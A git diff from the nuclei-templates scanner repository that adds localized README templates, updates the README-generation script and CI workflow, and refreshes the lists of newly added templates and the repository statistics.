fix-fp

Create CVE-2025-57788.yaml
Merge pull request #12794 from tpierru/pensando-default-login
2026-11-07 08:36:19 -10:00 · 2025-08-20 18:00:38 +05:30 · 2025-08-20 17:15:33 +05:30 · 2025-08-20 02:50:42 -07:00 · 2025-08-20 15:15:10 +05:30 · 2025-08-20 15:05:36 +05:30
2434 changed files with 22736 additions and 13521 deletions
@@ -0,0 +1,87 @@
+f"""
+
+<h1 align="center">
+Nuclei 模板
+</h1>
+<div align="center">
+<a href="README.md">English</a> |
+<a href="README_CN.md">简体中文</a> |
+<a href="README_JA.md">日本語</a> |
+<a href="README_KR.md">한국어</a>
+</div>
+<h4 align="center">这个仓库用于存放由社区精心挑选的模板,可以使用nuclei引擎结合模板发现应用中的漏洞。</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
+  <a href="#-贡献">贡献</a> •
+  <a href="#-交流">交流</a> •
+  <a href="#-社区">社区</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
+</p>
+
+----
+
+模板是 [nuclei 扫描器](https://github.com/projectdiscovery/nuclei) 的核心.
+这个git仓库储存了由PD团队以及社区贡献的各种扫描模板.
+我们希望您也能攻通过 **pull requests** 或者[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)来提交模板以扩大我们的仓库列表.
+
+
+## Nuclei模板项目情况概述
+
+
+以下是nuclei模板项目的情况概览,包括唯一标签,作者,目录,严重性,模板类型的相关统计情况.以下表格列出了前面提到的每项情况的TOP10信息;你也可以点击[这里](TEMPLATES-STATS.md)查看详细信息.当然你也可以点击[这里](TEMPLATES-STATS.json)获取JSON格式的详细情况统计
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 文档
+-----
+
+详细的文档请访问我们的网站[https://nuclei.projectdiscovery.io](https://nuclei.projectdiscovery.io),在我们网站的详细文档中,我们提供了如何创建模板的具体方法,并且也提供了相应的示例模板来帮助您更好地理解模板的开发以及运行原理.
+
+💪 贡献
+-----
+
+社区是Nuclei模板项目的主要贡献主力,我们非常欢迎开发者们来贡献模板,提出需求和报告Bug.
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 交流
+-----
+
+如果您有任何关于该项目的疑问或是新奇的点子,欢迎在[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)创建新的板块来进行讨论.
+
+👨‍💻 社区
+-----
+
+欢迎您加入我们的[Discord 社区](https://discord.gg/projectdiscovery)，与项目维护人员直接讨论，或与其他人分享有关安全和自动化的想法。
+此外，您还可以在 [Twitter](https://twitter.com/pdnuclei) 上关注我们，了解 Nuclei 的最新动态。
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+
+最后,感谢您对这个项目的贡献,这将让我们的社区更加充满活力.
+"""
@@ -0,0 +1,82 @@
+f"""<h1 align="center">
+Nuclei テンプレート
+</h1>
+<h4 align="center">アプリケーションのセキュリティ脆弱性を発見するためのNucleiエンジン用テンプレートのコミュニティキュレーションリスト</h4>
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
+  <a href="#-contributions">貢献</a> •
+  <a href="#-discussion">ディスカッション</a> •
+  <a href="#-community">コミュニティ</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
+</p>
+
+<p align="center">
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_JP.md">日本語</a>
+</p>
+
+----
+
+テンプレートは、実際のスキャンエンジンを動作させる[nucleiスキャナー](https://github.com/projectdiscovery/nuclei)のコアです。
+このリポジトリは、私たちのチームが提供するテンプレートや、コミュニティからの貢献によるさまざまなテンプレートを保存・管理します。
+テンプレートのリストを増やすために、**プルリクエスト**や[Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)を通じて貢献していただけると幸いです。
+
+## Nuclei テンプレートの概要
+
+Nucleiテンプレートプロジェクトの概要であり、ユニークなタグ、著者、ディレクトリ、重大度、テンプレートの種類に関する統計を含みます。以下の表は、各マトリックスのトップ10の統計を示しています。拡張バージョンは[こちら](TEMPLATES-STATS.md)で確認でき、[JSON](TEMPLATES-STATS.json)形式でも利用可能です。
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 ドキュメント
+-----
+
+新しいテンプレートやカスタムテンプレートを作成するための詳細なドキュメントは、https://nuclei.projectdiscovery.io で確認できます。作業方法を理解するためのテンプレートも用意しています。
+
+💪 貢献
+-----
+
+Nucleiテンプレートはコミュニティの貢献によって動作します。
+[テンプレートの貢献](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+)、[機能リクエスト](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+)、[バグ報告](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)はいつでも歓迎します。
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 ディスカッション
+-----
+
+質問、疑問、アイデアを話し合いたいですか？
+[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions)で自由に始めることができます。
+
+👨‍💻 コミュニティ
+-----
+
+プロジェクトの管理者と直接話し合い、セキュリティや自動化に関することを他の人と共有するために、[Discord Community](https://discord.gg/projectdiscovery)に参加することを歓迎します。さらに、Nucleiに関するすべての情報を更新するために、[Twitter](https://twitter.com/pdnuclei)をフォローすることもできます。
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+皆さんの貢献とコミュニティの活性化への努力に感謝します。
+:heart:
+"""
@@ -0,0 +1,84 @@
+f"""
+
+<h1 align="center">
+Nuclei 템플릿
+</h1>
+<h4 align="center">커뮤니티에서 엄선한, 애플리케이션 보안 취약점을 찾기 위한 Nuclei 엔진용 템플릿 목록</h4>
+
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
+<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
+<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
+<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
+</p>
+      
+<p align="center">
+  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
+  <a href="#-contributions">기여</a> •
+  <a href="#-discussion">논의</a> •
+  <a href="#-community">커뮤니티</a> •
+  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://discord.gg/projectdiscovery">디스코드</a>
+</p>
+
+<p align="center">
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README.md">English</a> •
+  <a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/README_KR.md">한국어</a>
+</p>
+
+----
+
+템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
+이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
+템플릿 목록을 증가시키기 위해서 **pull requests** 나 [Github issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) 를 통해 기여해주시기를 부탁드립니다.
+
+## Nuclei 템플릿 개요
+
+고유 태그, 작성자, 디렉토리, 심각도, 템플릿 종류에 대한 통계를 포함하고 있는 nuclei 템플릿의 개요입니다. 아래 표는 각 지표의 상위 10개 항목을 나타내고 있습니다. 더 자세한 정보는 [이곳](TEMPLATES-STATS.md)에서 확인 가능하고, [JSON](TEMPLATES-STATS.json) 형식으로도 확인 가능합니다. 
+
+<table>
+<tr>
+<td> 
+
+{get_top10()}
+
+**{command("tree", -2, None)}**.
+
+</td>
+</tr>
+</table>
+
+📖 문서
+-----
+
+새 템플릿이나 사용자 정의 템플릿을 빌드하기 위한 자세한 문서는 https://nuclei.projectdiscovery.io 에서 확인할 수 있습니다. 작업 방식의 이해를 돕기 위한 템플릿들도 있습니다.
+
+💪 기여
+-----
+
+Nuclei 템플릿은 커뮤니티의 기여로 동작합니다.
+[템플릿 기여](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [기능 요청](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+), [버그 제보](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+)는 언제든지 환영합니다.
+
+![Alt](https://repobeats.axiom.co/api/embed/55ee65543bb9a0f9c797626c4e66d472a517d17c.svg "Repobeats analytics image")
+
+💬 논의
+-----
+
+같이 이야기하고 싶은 질문, 의문 혹은 아이디어가 있으신가요?
+[Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) 에서 자유롭게 시작할 수 있습니다.
+
+👨‍💻 커뮤니티
+-----
+
+프로젝트 관리자와 직접 논의하고 보안과 자동화 관련 사항을 다른 사람과 공유하기 위해 [Discord Community](https://discord.gg/projectdiscovery) 에 참여하는 것을 환영합니다. 추가로 Nuclei 에 대한 모든 정보를 업데이트 하기 위해 [트위터](https://twitter.com/pdnuclei) 팔로우를 할 수 있습니다.
+
+<p align="center">
+<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
+</a>
+</p>
+
+여러분의 기여와 커뮤니티의 활성화를 위한 노력에 다시한번 감사드립니다.
+:heart:
+"""
@@ -18,6 +18,25 @@ if __name__ == "__main__":
 	template = eval(open(".github/scripts/README.tmpl", "r").read())

 	print(template)
+	
+	# Update main README.md
 	f = open("README.md", "w")
 	f.write(template)
 	f.close()
+	
+	# Update localized README files with their respective templates
+	localized_files = {
+		"README_CN.md": ".github/scripts/README_CN.tmpl",
+		"README_JA.md": ".github/scripts/README_JA.tmpl", 
+		"README_KR.md": ".github/scripts/README_KR.tmpl"
+	}
+	
+	for readme_file, template_file in localized_files.items():
+		try:
+			localized_template = eval(open(template_file, "r").read())
+			f = open(readme_file, "w")
+			f.write(localized_template)
+			f.close()
+		except FileNotFoundError:
+			print(f"Template {template_file} not found, skipping {readme_file}")
+			continue
@@ -21,6 +21,6 @@ jobs:
      - uses: projectdiscovery/actions/setup/git@v1
      - uses: projectdiscovery/actions/commit@v1
        with:
-          files: 'README.md'
+          files: 'README.md README_*.md'
          message: 'docs: update README 🤖'
      - run: git push origin $GITHUB_REF
@@ -28,7 +28,7 @@ jobs:
        with:
          token: '${{ secrets.GITHUB_TOKEN }}'
      - name: Validate templates
-        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/
+        run: nuclei -duc -validate -lfa -ud $GITHUB_WORKSPACE -w workflows/ -et .github/ -ept code -et helpers/payloads/

  weak-matcher-checks:
    needs: lint
@@ -3,4 +3,6 @@
 local/
 .checksum
 .new-additions
-*.txt
+*.txt
+/.claude
+CLAUDE.md
@@ -1,51 +1,20 @@
-code/windows/audit/kisa/account-lockout-threshold.yaml
-code/windows/audit/kisa/admin-account-rename.yaml
-code/windows/audit/kisa/admin-group-minimal.yaml
-code/windows/audit/kisa/autologon-control.yaml
-code/windows/audit/kisa/crash-on-audit-fail.yaml
-code/windows/audit/kisa/dns-zone-transfer-check.yaml
-code/windows/audit/kisa/ftp-access-control-check.yaml
-code/windows/audit/kisa/ftp-anonymous-check.yaml
-code/windows/audit/kisa/ftp-directory-permission-check.yaml
-code/windows/audit/kisa/hard-disk-default-share.yaml
-code/windows/audit/kisa/password-cleartext-encryption.yaml
-code/windows/audit/kisa/password-never-expires.yaml
-code/windows/audit/kisa/rds-removal-check.yaml
-code/windows/audit/kisa/remote-registry-access-check.yaml
-code/windows/audit/kisa/remote-system-shutdown.yaml
-code/windows/audit/kisa/sam-file-access-control.yaml
-code/windows/audit/kisa/service-pack-check.yaml
-code/windows/audit/kisa/shutdown-without-logon.yaml
-code/windows/audit/kisa/unnecessary-accounts-check.yaml
-code/windows/audit/kisa/unnecessary-service-check.yaml
-http/cves/2020/CVE-2020-9547.yaml
-http/cves/2020/CVE-2020-9548.yaml
-http/cves/2024/CVE-2024-50334.yaml
-http/cves/2025/CVE-2025-2010.yaml
-http/cves/2025/CVE-2025-32813.yaml
-http/cves/2025/CVE-2025-32814.yaml
-http/cves/2025/CVE-2025-34040.yaml
-http/cves/2025/CVE-2025-41646.yaml
-http/cves/2025/CVE-2025-4380.yaml
-http/cves/2025/CVE-2025-47812.yaml
-http/cves/2025/CVE-2025-47813.yaml
-http/cves/2025/CVE-2025-48827.yaml
-http/cves/2025/CVE-2025-53624.yaml
-http/cves/2025/CVE-2025-5777.yaml
-http/default-logins/molgenis/molgenis-default-login.yaml
-http/exposed-panels/cisco-cm-panel.yaml
-http/exposed-panels/cisco-prime-license-manager-panel.yaml
-http/exposed-panels/google-adk-api-exposed.yaml
-http/exposed-panels/google-adk-webui-exposed.yaml
-http/exposed-panels/molgenis-panel.yaml
-http/exposed-panels/peplink-panel.yaml
-http/exposed-panels/wingftp-panel.yaml
-http/miscellaneous/torrent-website-detect.yaml
-http/misconfiguration/installer/pritunl-installer.yaml
-http/technologies/wordpress/plugins/blocksy-companion.yaml
-http/technologies/wordpress/plugins/gosmtp.yaml
-http/technologies/wordpress/plugins/honeypot.yaml
-http/technologies/wordpress/plugins/pagelayer.yaml
-http/technologies/wordpress/plugins/siteseo.yaml
-http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
-network/detection/jdwp-detect.yaml
+http/cves/2023/CVE-2023-37988.yaml
+http/cves/2025/CVE-2025-27888.yaml
+http/cves/2025/CVE-2025-28906.yaml
+http/cves/2025/CVE-2025-32430.yaml
+http/cves/2025/CVE-2025-34073.yaml
+http/cves/2025/CVE-2025-54589.yaml
+http/cves/2025/CVE-2025-6934.yaml
+http/exposed-panels/espec-web-controller-panel.yaml
+http/exposed-panels/huawei-holosense-panel.yaml
+http/exposed-panels/hyperdx-panel.yaml
+http/exposed-panels/zipline-panel.yaml
+http/exposures/files/python-venv-exposure.yaml
+http/miscellaneous/atproto-did-exposure.yaml
+http/miscellaneous/mta-sts-exposure.yaml
+http/miscellaneous/nostr-json-exposure.yaml
+http/miscellaneous/oauth-authorization-server-exposure.yaml
+http/miscellaneous/pki-validation-exposure.yaml
+http/misconfiguration/mapproxy-file-read.yaml
+http/technologies/nvidia-triton-detect.yaml
+network/cves/2025/CVE-2025-25256.yaml
@@ -17,6 +17,7 @@ tags:
  - "local"
  - "fuzz"
  - "bruteforce"
+  - "txt-service"

 # The following templates have been excluded because they have weak matchers and may generate FP results.
 # Please feel free to create PR if you can update the templates with strict matchers.
@@ -31,7 +32,6 @@ files:
  - http/fuzzing/mdb-database-file.yaml
  - http/fuzzing/iis-shortname.yaml
  - dns/soa-detect.yaml
-  - dns/txt-service-detect.yaml
  - javascript/enumeration/pop3/pop3-capabilities-enum.yaml
  - javascript/enumeration/redis/redis-require-auth.yaml
  - dast/vulnerabilities/sqli/time-based-sqli.yaml
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3225 | dhiyaneshdk   |  1866 | http       |  8825 | info     |  4118 | file |   435 |
-| panel     |  1327 | daffainfo     |   868 | cloud      |   657 | high     |  2423 | dns  |    26 |
-| xss       |  1246 | dwisiswant0   |   806 | file       |   435 | medium   |  2339 |      |       |
-| wordpress |  1168 | princechaddha |   806 | dast       |   255 | critical |  1391 |      |       |
-| exposure  |  1094 | ritikchaddha  |   633 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1023 | pussycat0x    |   519 | code       |   174 | unknown  |    54 |      |       |
-| osint     |   810 | pikpikcu      |   352 | network    |   141 |          |       |      |       |
-| tech      |   782 | pdteam        |   308 | javascript |    71 |          |       |      |       |
-| lfi       |   772 | pdresearch    |   251 | ssl        |    38 |          |       |      |       |
-| rce       |   770 | ricardomaia   |   249 | dns        |    23 |          |       |      |       |
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
+| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
+| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
+| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
+| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |

-**840 directories, 11171 files**.
+**848 directories, 11344 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3225},{"name":"panel","count":1327},{"name":"xss","count":1246},{"name":"wordpress","count":1168},{"name":"exposure","count":1094},{"name":"wp-plugin","count":1023},{"name":"osint","count":810},{"name":"tech","count":782},{"name":"lfi","count":772},{"name":"rce","count":770},{"name":"misconfig","count":747},{"name":"devops","count":738},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":573},{"name":"packetstorm","count":552},{"name":"wpscan","count":534},{"name":"cve2021","count":513},{"name":"cve2022","count":512},{"name":"cve2023","count":488},{"name":"detect","count":486},{"name":"sqli","count":484},{"name":"cve2024","count":462},{"name":"login","count":446},{"name":"unauth","count":431},{"name":"authenticated","count":422},{"name":"kev","count":405},{"name":"intrusive","count":398},{"name":"file","count":377},{"name":"oast","count":276},{"name":"default-login","count":275},{"name":"cve2020","count":274},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":238},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":216},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":210},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"iot","count":184},{"name":"cve2018","count":184},{"name":"auth-bypass","count":183},{"name":"cve2019","count":182},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"code","count":157},{"name":"keys","count":156},{"name":"redirect","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":144},{"name":"tcp","count":139},{"name":"security","count":133},{"name":"router","count":130},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"cve2025","count":94},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":83},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"local","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":78},{"name":"js","count":75},{"name":"windows","count":74},{"name":"cisco","count":73},{"name":"enum","count":72},{"name":"k8s","count":71},{"name":"windows-audit","count":70},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"cve2016","count":60},{"name":"file-upload","count":59},{"name":"detection","count":59},{"name":"atlassian","count":59},{"name":"google","count":57},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"audit","count":55},{"name":"deserialization","count":53},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"php","count":50},{"name":"logs","count":50},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":47},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"misc","count":46},{"name":"ssti","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"plugin","count":44},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"oa","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"fortinet","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"info-leak","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"cti","count":37},{"name":"api","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"lfr","count":34},{"name":"xxe","count":33},{"name":"fuzz","count":33},{"name":"dns","count":32},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"printer","count":31},{"name":"osint-tech","count":31},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"prestashop","count":29},{"name":"tomcat","count":28},{"name":"proxy","count":28},{"namLine truncated
+{"tags":[{"name":"cve","count":3288},{"name":"panel","count":1342},{"name":"xss","count":1257},{"name":"wordpress","count":1181},{"name":"exposure","count":1107},{"name":"wp-plugin","count":1032},{"name":"osint","count":841},{"name":"tech","count":803},{"name":"rce","count":786},{"name":"lfi","count":777},{"name":"misconfig","count":758},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":579},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"detect","count":501},{"name":"cve2023","count":489},{"name":"sqli","count":488},{"name":"cve2024","count":473},{"name":"login","count":458},{"name":"unauth","count":439},{"name":"kev","count":436},{"name":"authenticated","count":425},{"name":"intrusive","count":407},{"name":"file","count":377},{"name":"oast","count":285},{"name":"default-login","count":279},{"name":"cve2020","count":277},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":243},{"name":"microsoft","count":240},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":220},{"name":"malware","count":213},{"name":"token","count":211},{"name":"azure","count":210},{"name":"","count":205},{"name":"csp-bypass","count":204},{"name":"aws","count":192},{"name":"auth-bypass","count":191},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"cve2018","count":184},{"name":"iot","count":184},{"name":"cve2019","count":183},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":158},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"ssrf","count":149},{"name":"aws-cloud-config","count":147},{"name":"tcp","count":143},{"name":"cve2025","count":138},{"name":"security","count":137},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":85},{"name":"local","count":81},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"js","count":76},{"name":"cisco","count":75},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"file-upload","count":68},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"c2","count":61},{"name":"cve2016","count":60},{"name":"detection","count":59},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"audit","count":55},{"name":"php","count":52},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"logs","count":50},{"name":"traversal","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"log4j","count":48},{"name":"ssti","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"ssh","count":47},{"name":"vulhub","count":46},{"name":"aem","count":46},{"name":"plugin","count":46},{"name":"cnvd","count":46},{"name":"misc","count":46},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"oa","count":43},{"name":"fortinet","count":43},{"name":"springboot","count":43},{"name":"ssl","count":43},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":41},{"name":"info-leak","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"api","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"cti","count":38},{"name":"jira","count":37},{"name":"osint-coding","count":37},{"name":"k8s-cluster-security","count":37},{"name":"google-cloud-sql","count":36},{"name":"wp-theme","count":36},{"name":"osint-misc","count":35},{"name":"lfr","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"xxe","count":34},{"name":"devsecops","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"yonyou","count":32},{"name":"nginx","count":31},{"name":"osint-tech","count":31},{"name":"vpc","count":31},{"name":"graphql","count":31},{"name":"printer","count":31},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"prestashop","count":29},{"name":"gke","count":29},{"Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3225 | dhiyaneshdk   |  1866 | http       |  8825 | info     |  4118 | file |   435 |
-| panel     |  1327 | daffainfo     |   868 | cloud      |   657 | high     |  2423 | dns  |    26 |
-| xss       |  1246 | dwisiswant0   |   806 | file       |   435 | medium   |  2339 |      |       |
-| wordpress |  1168 | princechaddha |   806 | dast       |   255 | critical |  1391 |      |       |
-| exposure  |  1094 | ritikchaddha  |   633 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1023 | pussycat0x    |   519 | code       |   174 | unknown  |    54 |      |       |
-| osint     |   810 | pikpikcu      |   352 | network    |   141 |          |       |      |       |
-| tech      |   782 | pdteam        |   308 | javascript |    71 |          |       |      |       |
-| lfi       |   772 | pdresearch    |   251 | ssl        |    38 |          |       |      |       |
-| rce       |   770 | ricardomaia   |   249 | dns        |    23 |          |       |      |       |
+| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
+| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
+| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
+| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
